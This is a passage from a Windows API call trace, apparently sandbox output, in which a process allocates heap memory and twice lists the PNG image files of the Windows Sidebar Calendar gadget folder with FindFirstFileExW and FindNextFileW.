(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316768) returned 1 [0089.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316768 [0089.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316978 [0089.840] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.842] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.842] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3769c1c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb3769c1c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0089.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.842] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316870 [0089.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2208 [0089.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316c90 [0089.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.844] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e7160b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e7160b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-dock.png", cAlternateFileName="")) returned 1 [0089.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2228 [0089.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316d98 [0089.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.846] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e9776a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e9776a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-today.png", cAlternateFileName="")) returned 1 [0089.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2248 [0089.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316ea0 [0089.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.847] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb378fd7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-disable.png", cAlternateFileName="")) returned 1 [0089.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2268 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e9776a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e9776a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb38745bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-down.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebd8c9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7ebd8c9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-hot.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebd8c9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7ebd8c9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-disable.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ee3a28, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7ee3a28, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-down.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3aafa5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x23e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-hot.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3ad5bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f7bfa4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f7bfa4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3ad5bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fee3c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7fee3c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3afbd1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double_bkg.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fee3c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7fee3c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3afbd1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double_orange.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7fee3c1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7fee3c1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3afbd1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_ring_docked.png", cAlternateFileName="")) returned 1 [0089.849] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8014520, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8014520, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single.png", cAlternateFileName="")) returned 1 [0089.850] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803a67f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb803a67f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_bkg.png", cAlternateFileName="")) returned 1 [0089.850] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803a67f, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb803a67f, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_bkg_orange.png", cAlternateFileName="")) returned 1 [0089.850] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80607de, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb80607de, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3b21e7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xaa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_orange.png", cAlternateFileName="")) returned 1 [0089.850] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80607de, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb80607de, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c5297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="corner.png", cAlternateFileName="")) returned 1 [0089.850] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c78adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl-hot.png", cAlternateFileName="")) returned 1 [0089.850] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c78adc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl.png", cAlternateFileName="")) returned 1 [0089.850] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb40ef41c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="month.png", cAlternateFileName="")) returned 1 [0089.850] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f2fce6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f2fce6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb411557c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-desk.png", cAlternateFileName="")) returned 1 [0089.850] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb411557c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 1 [0089.850] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb411557c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 0 [0089.850] GetLastError () returned 0x12 [0089.850] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0089.850] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3769c1c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb3769c1c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e7160b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e7160b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-dock.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e9776a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e9776a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-today.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb378fd7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-disable.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e9776a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e9776a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb38745bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-down.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebd8c9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7ebd8c9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-hot.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebd8c9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7ebd8c9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f55e45, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f55e45, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-disable.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ee3a28, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7ee3a28, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-down.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3aafa5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x23e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-hot.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3ad5bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev.png", cAlternateFileName="")) returned 1 [0089.851] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 